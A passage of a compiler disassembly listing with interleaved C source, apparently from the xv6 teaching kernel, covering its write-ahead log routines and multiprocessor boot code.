801029fc: 83 c3 01 add $0x1,%ebx
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
801029ff: 89 44 24 04 mov %eax,0x4(%esp)
80102a03: a1 c4 26 11 80 mov 0x801126c4,%eax
80102a08: 89 04 24 mov %eax,(%esp)
80102a0b: e8 c0 d6 ff ff call 801000d0 <bread>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102a10: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102a17: 00
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102a18: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102a1a: 8d 47 5c lea 0x5c(%edi),%eax
80102a1d: 89 44 24 04 mov %eax,0x4(%esp)
80102a21: 8d 46 5c lea 0x5c(%esi),%eax
80102a24: 89 04 24 mov %eax,(%esp)
80102a27: e8 d4 19 00 00 call 80104400 <memmove>
bwrite(dbuf); // write dst to disk
80102a2c: 89 34 24 mov %esi,(%esp)
80102a2f: e8 6c d7 ff ff call 801001a0 <bwrite>
brelse(lbuf);
80102a34: 89 3c 24 mov %edi,(%esp)
80102a37: e8 a4 d7 ff ff call 801001e0 <brelse>
brelse(dbuf);
80102a3c: 89 34 24 mov %esi,(%esp)
80102a3f: e8 9c d7 ff ff call 801001e0 <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102a44: 39 1d c8 26 11 80 cmp %ebx,0x801126c8
80102a4a: 7f 8c jg 801029d8 <install_trans+0x18>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
80102a4c: 83 c4 1c add $0x1c,%esp
80102a4f: 5b pop %ebx
80102a50: 5e pop %esi
80102a51: 5f pop %edi
80102a52: 5d pop %ebp
80102a53: c3 ret
80102a54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102a5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80102a60 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80102a60: 55 push %ebp
80102a61: 89 e5 mov %esp,%ebp
80102a63: 57 push %edi
80102a64: 56 push %esi
80102a65: 53 push %ebx
80102a66: 83 ec 1c sub $0x1c,%esp
struct buf *buf = bread(log.dev, log.start);
80102a69: a1 b4 26 11 80 mov 0x801126b4,%eax
80102a6e: 89 44 24 04 mov %eax,0x4(%esp)
80102a72: a1 c4 26 11 80 mov 0x801126c4,%eax
80102a77: 89 04 24 mov %eax,(%esp)
80102a7a: e8 51 d6 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a7f: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx
for (i = 0; i < log.lh.n; i++) {
80102a85: 85 db test %ebx,%ebx
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102a87: 89 c7 mov %eax,%edi
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a89: 89 58 5c mov %ebx,0x5c(%eax)
for (i = 0; i < log.lh.n; i++) {
80102a8c: 7e 1c jle 80102aaa <write_head+0x4a>
80102a8e: 31 d2 xor %edx,%edx
80102a90: 8d 70 5c lea 0x5c(%eax),%esi
80102a93: 90 nop
80102a94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
hb->block[i] = log.lh.block[i];
80102a98: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx
80102a9f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
80102aa3: 83 c2 01 add $0x1,%edx
80102aa6: 39 da cmp %ebx,%edx
80102aa8: 75 ee jne 80102a98 <write_head+0x38>
hb->block[i] = log.lh.block[i];
}
bwrite(buf);
80102aaa: 89 3c 24 mov %edi,(%esp)
80102aad: e8 ee d6 ff ff call 801001a0 <bwrite>
brelse(buf);
80102ab2: 89 3c 24 mov %edi,(%esp)
80102ab5: e8 26 d7 ff ff call 801001e0 <brelse>
}
80102aba: 83 c4 1c add $0x1c,%esp
80102abd: 5b pop %ebx
80102abe: 5e pop %esi
80102abf: 5f pop %edi
80102ac0: 5d pop %ebp
80102ac1: c3 ret
80102ac2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102ac9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102ad0 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(int dev)
{
80102ad0: 55 push %ebp
80102ad1: 89 e5 mov %esp,%ebp
80102ad3: 56 push %esi
80102ad4: 53 push %ebx
80102ad5: 83 ec 30 sub $0x30,%esp
80102ad8: 8b 5d 08 mov 0x8(%ebp),%ebx
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
80102adb: c7 44 24 04 d0 71 10 movl $0x801071d0,0x4(%esp)
80102ae2: 80
80102ae3: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102aea: e8 21 16 00 00 call 80104110 <initlock>
readsb(dev, &sb);
80102aef: 8d 45 dc lea -0x24(%ebp),%eax
80102af2: 89 44 24 04 mov %eax,0x4(%esp)
80102af6: 89 1c 24 mov %ebx,(%esp)
80102af9: e8 12 e9 ff ff call 80101410 <readsb>
log.start = sb.logstart;
80102afe: 8b 45 ec mov -0x14(%ebp),%eax
log.size = sb.nlog;
80102b01: 8b 55 e8 mov -0x18(%ebp),%edx
log.dev = dev;
80102b04: 89 1d c4 26 11 80 mov %ebx,0x801126c4
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b0a: 89 1c 24 mov %ebx,(%esp)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
80102b0d: a3 b4 26 11 80 mov %eax,0x801126b4
log.size = sb.nlog;
80102b12: 89 15 b8 26 11 80 mov %edx,0x801126b8
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b18: 89 44 24 04 mov %eax,0x4(%esp)
80102b1c: e8 af d5 ff ff call 801000d0 <bread>
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102b21: 8b 58 5c mov 0x5c(%eax),%ebx
for (i = 0; i < log.lh.n; i++) {
80102b24: 85 db test %ebx,%ebx
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102b26: 89 1d c8 26 11 80 mov %ebx,0x801126c8
for (i = 0; i < log.lh.n; i++) {
80102b2c: 7e 1c jle 80102b4a <initlog+0x7a>
80102b2e: 31 d2 xor %edx,%edx
80102b30: 8d 70 5c lea 0x5c(%eax),%esi
80102b33: 90 nop
80102b34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
log.lh.block[i] = lh->block[i];
80102b38: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx
80102b3c: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80102b43: 83 c2 01 add $0x1,%edx
80102b46: 39 da cmp %ebx,%edx
80102b48: 75 ee jne 80102b38 <initlog+0x68>
log.lh.block[i] = lh->block[i];
}
brelse(buf);
80102b4a: 89 04 24 mov %eax,(%esp)
80102b4d: e8 8e d6 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102b52: e8 69 fe ff ff call 801029c0 <install_trans>
log.lh.n = 0;
80102b57: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102b5e: 00 00 00
write_head(); // clear the log
80102b61: e8 fa fe ff ff call 80102a60 <write_head>
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
log.dev = dev;
recover_from_log();
}
80102b66: 83 c4 30 add $0x30,%esp
80102b69: 5b pop %ebx
80102b6a: 5e pop %esi
80102b6b: 5d pop %ebp
80102b6c: c3 ret
80102b6d: 8d 76 00 lea 0x0(%esi),%esi
80102b70 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102b70: 55 push %ebp
80102b71: 89 e5 mov %esp,%ebp
80102b73: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
80102b76: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102b7d: e8 fe 16 00 00 call 80104280 <acquire>
80102b82: eb 18 jmp 80102b9c <begin_op+0x2c>
80102b84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
80102b88: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp)
80102b8f: 80
80102b90: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102b97: e8 f4 10 00 00 call 80103c90 <sleep>
void
begin_op(void)
{
acquire(&log.lock);
while(1){
if(log.committing){
80102b9c: a1 c0 26 11 80 mov 0x801126c0,%eax
80102ba1: 85 c0 test %eax,%eax
80102ba3: 75 e3 jne 80102b88 <begin_op+0x18>
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102ba5: 8b 15 bc 26 11 80 mov 0x801126bc,%edx
80102bab: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx
80102bb1: 83 c2 01 add $0x1,%edx
80102bb4: 8d 04 92 lea (%edx,%edx,4),%eax
80102bb7: 8d 04 41 lea (%ecx,%eax,2),%eax
80102bba: 83 f8 1e cmp $0x1e,%eax
80102bbd: 7f c9 jg 80102b88 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102bbf: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
80102bc6: 89 15 bc 26 11 80 mov %edx,0x801126bc
release(&log.lock);
80102bcc: e8 1f 17 00 00 call 801042f0 <release>
break;
}
}
}
80102bd1: c9 leave
80102bd2: c3 ret
80102bd3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102bd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102be0 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102be0: 55 push %ebp
80102be1: 89 e5 mov %esp,%ebp
80102be3: 57 push %edi
80102be4: 56 push %esi
80102be5: 53 push %ebx
80102be6: 83 ec 1c sub $0x1c,%esp
int do_commit = 0;
acquire(&log.lock);
80102be9: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102bf0: e8 8b 16 00 00 call 80104280 <acquire>
log.outstanding -= 1;
80102bf5: a1 bc 26 11 80 mov 0x801126bc,%eax
if(log.committing)
80102bfa: 8b 15 c0 26 11 80 mov 0x801126c0,%edx
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102c00: 83 e8 01 sub $0x1,%eax
if(log.committing)
80102c03: 85 d2 test %edx,%edx
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102c05: a3 bc 26 11 80 mov %eax,0x801126bc
if(log.committing)
80102c0a: 0f 85 f3 00 00 00 jne 80102d03 <end_op+0x123>
panic("log.committing");
if(log.outstanding == 0){
80102c10: 85 c0 test %eax,%eax
80102c12: 0f 85 cb 00 00 00 jne 80102ce3 <end_op+0x103>
do_commit = 1;
log.committing = 1;
80102c18: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0
80102c1f: 00 00 00
}
static void
commit()
{
if (log.lh.n > 0) {
80102c22: 31 db xor %ebx,%ebx
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
}
release(&log.lock);
80102c24: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102c2b: e8 c0 16 00 00 call 801042f0 <release>
}
static void
commit()
{
if (log.lh.n > 0) {
80102c30: a1 c8 26 11 80 mov 0x801126c8,%eax
80102c35: 85 c0 test %eax,%eax
80102c37: 0f 8e 90 00 00 00 jle 80102ccd <end_op+0xed>
80102c3d: 8d 76 00 lea 0x0(%esi),%esi
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102c40: a1 b4 26 11 80 mov 0x801126b4,%eax
80102c45: 01 d8 add %ebx,%eax
80102c47: 83 c0 01 add $0x1,%eax
80102c4a: 89 44 24 04 mov %eax,0x4(%esp)
80102c4e: a1 c4 26 11 80 mov 0x801126c4,%eax
80102c53: 89 04 24 mov %eax,(%esp)
80102c56: e8 75 d4 ff ff call 801000d0 <bread>
80102c5b: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c5d: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102c64: 83 c3 01 add $0x1,%ebx
struct buf *to = bread(log.dev, log.start+tail+1); // log block
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c67: 89 44 24 04 mov %eax,0x4(%esp)
80102c6b: a1 c4 26 11 80 mov 0x801126c4,%eax
80102c70: 89 04 24 mov %eax,(%esp)
80102c73: e8 58 d4 ff ff call 801000d0 <bread>
memmove(to->data, from->data, BSIZE);
80102c78: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102c7f: 00
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *to = bread(log.dev, log.start+tail+1); // log block
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c80: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
80102c82: 8d 40 5c lea 0x5c(%eax),%eax
80102c85: 89 44 24 04 mov %eax,0x4(%esp)
80102c89: 8d 46 5c lea 0x5c(%esi),%eax
80102c8c: 89 04 24 mov %eax,(%esp)
80102c8f: e8 6c 17 00 00 call 80104400 <memmove>
bwrite(to); // write the log
80102c94: 89 34 24 mov %esi,(%esp)
80102c97: e8 04 d5 ff ff call 801001a0 <bwrite>
brelse(from);
80102c9c: 89 3c 24 mov %edi,(%esp)
80102c9f: e8 3c d5 ff ff call 801001e0 <brelse>
brelse(to);
80102ca4: 89 34 24 mov %esi,(%esp)
80102ca7: e8 34 d5 ff ff call 801001e0 <brelse>
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102cac: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx
80102cb2: 7c 8c jl 80102c40 <end_op+0x60>
static void
commit()
{
if (log.lh.n > 0) {
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102cb4: e8 a7 fd ff ff call 80102a60 <write_head>
install_trans(); // Now install writes to home locations
80102cb9: e8 02 fd ff ff call 801029c0 <install_trans>
log.lh.n = 0;
80102cbe: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102cc5: 00 00 00
write_head(); // Erase the transaction from the log
80102cc8: e8 93 fd ff ff call 80102a60 <write_head>
if(do_commit){
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
acquire(&log.lock);
80102ccd: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102cd4: e8 a7 15 00 00 call 80104280 <acquire>
log.committing = 0;
80102cd9: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0
80102ce0: 00 00 00
wakeup(&log);
80102ce3: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102cea: e8 41 11 00 00 call 80103e30 <wakeup>
release(&log.lock);
80102cef: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102cf6: e8 f5 15 00 00 call 801042f0 <release>
}
}
80102cfb: 83 c4 1c add $0x1c,%esp
80102cfe: 5b pop %ebx
80102cff: 5e pop %esi
80102d00: 5f pop %edi
80102d01: 5d pop %ebp
80102d02: c3 ret
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
if(log.committing)
panic("log.committing");
80102d03: c7 04 24 d4 71 10 80 movl $0x801071d4,(%esp)
80102d0a: e8 61 d6 ff ff call 80100370 <panic>
80102d0f: 90 nop
80102d10 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d10: 55 push %ebp
80102d11: 89 e5 mov %esp,%ebp
80102d13: 53 push %ebx
80102d14: 83 ec 14 sub $0x14,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d17: a1 c8 26 11 80 mov 0x801126c8,%eax
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d1c: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d1f: 83 f8 1d cmp $0x1d,%eax
80102d22: 0f 8f 98 00 00 00 jg 80102dc0 <log_write+0xb0>
80102d28: 8b 15 b8 26 11 80 mov 0x801126b8,%edx
80102d2e: 83 ea 01 sub $0x1,%edx
80102d31: 39 d0 cmp %edx,%eax
80102d33: 0f 8d 87 00 00 00 jge 80102dc0 <log_write+0xb0>
panic("too big a transaction");
if (log.outstanding < 1)
80102d39: 8b 0d bc 26 11 80 mov 0x801126bc,%ecx
80102d3f: 85 c9 test %ecx,%ecx
80102d41: 0f 8e 85 00 00 00 jle 80102dcc <log_write+0xbc>
panic("log_write outside of trans");
acquire(&log.lock);
80102d47: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102d4e: e8 2d 15 00 00 call 80104280 <acquire>
for (i = 0; i < log.lh.n; i++) {
80102d53: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102d59: 83 fa 00 cmp $0x0,%edx
80102d5c: 7e 53 jle 80102db1 <log_write+0xa1>
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d5e: 8b 4b 08 mov 0x8(%ebx),%ecx
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d61: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d63: 39 0d cc 26 11 80 cmp %ecx,0x801126cc
80102d69: 75 0e jne 80102d79 <log_write+0x69>
80102d6b: eb 3b jmp 80102da8 <log_write+0x98>
80102d6d: 8d 76 00 lea 0x0(%esi),%esi
80102d70: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4)
80102d77: 74 2f je 80102da8 <log_write+0x98>
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d79: 83 c0 01 add $0x1,%eax
80102d7c: 39 d0 cmp %edx,%eax
80102d7e: 75 f0 jne 80102d70 <log_write+0x60>
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102d80: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
if (i == log.lh.n)
log.lh.n++;
80102d87: 83 c2 01 add $0x1,%edx
80102d8a: 89 15 c8 26 11 80 mov %edx,0x801126c8
b->flags |= B_DIRTY; // prevent eviction
80102d90: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102d93: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp)
}
80102d9a: 83 c4 14 add $0x14,%esp
80102d9d: 5b pop %ebx
80102d9e: 5d pop %ebp
}
log.lh.block[i] = b->blockno;
if (i == log.lh.n)
log.lh.n++;
b->flags |= B_DIRTY; // prevent eviction
release(&log.lock);
80102d9f: e9 4c 15 00 00 jmp 801042f0 <release>
80102da4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102da8: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4)
80102daf: eb df jmp 80102d90 <log_write+0x80>
80102db1: 8b 43 08 mov 0x8(%ebx),%eax
80102db4: a3 cc 26 11 80 mov %eax,0x801126cc
if (i == log.lh.n)
80102db9: 75 d5 jne 80102d90 <log_write+0x80>
80102dbb: eb ca jmp 80102d87 <log_write+0x77>
80102dbd: 8d 76 00 lea 0x0(%esi),%esi
log_write(struct buf *b)
{
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
panic("too big a transaction");
80102dc0: c7 04 24 e3 71 10 80 movl $0x801071e3,(%esp)
80102dc7: e8 a4 d5 ff ff call 80100370 <panic>
if (log.outstanding < 1)
panic("log_write outside of trans");
80102dcc: c7 04 24 f9 71 10 80 movl $0x801071f9,(%esp)
80102dd3: e8 98 d5 ff ff call 80100370 <panic>
...
80102de0 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80102de0: 55 push %ebp
80102de1: 89 e5 mov %esp,%ebp
80102de3: 53 push %ebx
80102de4: 83 ec 14 sub $0x14,%esp
cprintf("cpu%d: starting %d\n", cpuid(), cpuid());
80102de7: e8 24 09 00 00 call 80103710 <cpuid>
80102dec: 89 c3 mov %eax,%ebx
80102dee: e8 1d 09 00 00 call 80103710 <cpuid>
80102df3: 89 5c 24 08 mov %ebx,0x8(%esp)
80102df7: c7 04 24 14 72 10 80 movl $0x80107214,(%esp)
80102dfe: 89 44 24 04 mov %eax,0x4(%esp)
80102e02: e8 49 d8 ff ff call 80100650 <cprintf>
idtinit(); // load idt register
80102e07: e8 a4 27 00 00 call 801055b0 <idtinit>
xchg(&(mycpu()->started), 1); // tell startothers() we're up
80102e0c: e8 7f 08 00 00 call 80103690 <mycpu>
80102e11: 89 c2 mov %eax,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80102e13: b8 01 00 00 00 mov $0x1,%eax
80102e18: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx)
scheduler(); // start running processes
80102e1f: e8 cc 0b 00 00 call 801039f0 <scheduler>
80102e24: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102e2a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80102e30 <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
80102e30: 55 push %ebp
80102e31: 89 e5 mov %esp,%ebp
80102e33: 83 ec 08 sub $0x8,%esp
switchkvm();
80102e36: e8 c5 37 00 00 call 80106600 <switchkvm>
seginit();
80102e3b: e8 e0 36 00 00 call 80106520 <seginit>
lapicinit();
80102e40: e8 bb f7 ff ff call 80102600 <lapicinit>
mpmain();
80102e45: e8 96 ff ff ff call 80102de0 <mpmain>
80102e4a: 00 00 add %al,(%eax)
80102e4c: 00 00 add %al,(%eax)
...
80102e50 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
80102e50: 55 push %ebp
80102e51: 89 e5 mov %esp,%ebp
80102e53: 53 push %ebx
80102e54: 83 e4 f0 and $0xfffffff0,%esp
80102e57: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102e5a: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80102e61: 80
80102e62: c7 04 24 a8 54 11 80 movl $0x801154a8,(%esp)
80102e69: e8 f2 f5 ff ff call 80102460 <kinit1>
kvmalloc(); // kernel page table
80102e6e: e8 cd 3c 00 00 call 80106b40 <kvmalloc>
mpinit(); // detect other processors
80102e73: e8 68 01 00 00 call 80102fe0 <mpinit>
lapicinit(); // interrupt controller
80102e78: e8 83 f7 ff ff call 80102600 <lapicinit>
80102e7d: 8d 76 00 lea 0x0(%esi),%esi
seginit(); // segment descriptors
80102e80: e8 9b 36 00 00 call 80106520 <seginit>
picinit(); // disable pic
80102e85: e8 26 03 00 00 call 801031b0 <picinit>
ioapicinit(); // another interrupt controller
80102e8a: e8 d1 f3 ff ff call 80102260 <ioapicinit>
80102e8f: 90 nop
consoleinit(); // console hardware
80102e90: e8 cb da ff ff call 80100960 <consoleinit>
uartinit(); // serial port
80102e95: e8 46 2a 00 00 call 801058e0 <uartinit>
pinit(); // process table
80102e9a: e8 d1 07 00 00 call 80103670 <pinit>
80102e9f: 90 nop
tvinit(); // trap vectors
80102ea0: e8 7b 26 00 00 call 80105520 <tvinit>
binit(); // buffer cache
80102ea5: e8 96 d1 ff ff call 80100040 <binit>
fileinit(); // file table
80102eaa: e8 91 de ff ff call 80100d40 <fileinit>
80102eaf: 90 nop
ideinit(); // disk
80102eb0: e8 bb f1 ff ff call 80102070 <ideinit>
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102eb5: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp)
80102ebc: 00
80102ebd: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp)
80102ec4: 80
80102ec5: c7 04 24 00 70 00 80 movl $0x80007000,(%esp)
80102ecc: e8 2f 15 00 00 call 80104400 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80102ed1: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102ed8: 00 00 00
80102edb: 05 80 27 11 80 add $0x80112780,%eax
80102ee0: 3d 80 27 11 80 cmp $0x80112780,%eax
80102ee5: 76 6c jbe 80102f53 <main+0x103>
80102ee7: bb 80 27 11 80 mov $0x80112780,%ebx
80102eec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(c == mycpu()) // We've started already.
80102ef0: e8 9b 07 00 00 call 80103690 <mycpu>
80102ef5: 39 d8 cmp %ebx,%eax
80102ef7: 74 41 je 80102f3a <main+0xea>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80102ef9: e8 b2 f5 ff ff call 801024b0 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
*(void(**)(void))(code-8) = mpenter;
80102efe: c7 05 f8 6f 00 80 30 movl $0x80102e30,0x80006ff8
80102f05: 2e 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
80102f08: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80102f0f: 90 10 00
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
*(void**)(code-4) = stack + KSTACKSIZE;
80102f12: 05 00 10 00 00 add $0x1000,%eax
80102f17: a3 fc 6f 00 80 mov %eax,0x80006ffc
*(void(**)(void))(code-8) = mpenter;
*(int**)(code-12) = (void *) V2P(entrypgdir);
lapicstartap(c->apicid, V2P(code));
80102f1c: 0f b6 03 movzbl (%ebx),%eax
80102f1f: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp)
80102f26: 00
80102f27: 89 04 24 mov %eax,(%esp)
80102f2a: e8 11 f8 ff ff call 80102740 <lapicstartap>
80102f2f: 90 nop
// wait for cpu to finish mpmain()
while(c->started == 0)
80102f30: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax
80102f36: 85 c0 test %eax,%eax
80102f38: 74 f6 je 80102f30 <main+0xe0>
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80102f3a: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102f41: 00 00 00
80102f44: 81 c3 b0 00 00 00 add $0xb0,%ebx
80102f4a: 05 80 27 11 80 add $0x80112780,%eax
80102f4f: 39 c3 cmp %eax,%ebx
80102f51: 72 9d jb 80102ef0 <main+0xa0>
tvinit(); // trap vectors
binit(); // buffer cache
fileinit(); // file table
ideinit(); // disk
startothers(); // start other processors
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80102f53: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
80102f5a: 8e
80102f5b: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
80102f62: e8 c9 f4 ff ff call 80102430 <kinit2>
userinit(); // first user process
80102f67: e8 f4 07 00 00 call 80103760 <userinit>
mpmain(); // finish this processor's setup
80102f6c: e8 6f fe ff ff call 80102de0 <mpmain>
...
80102f80 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f80: 55 push %ebp
uchar *e, *p, *addr;
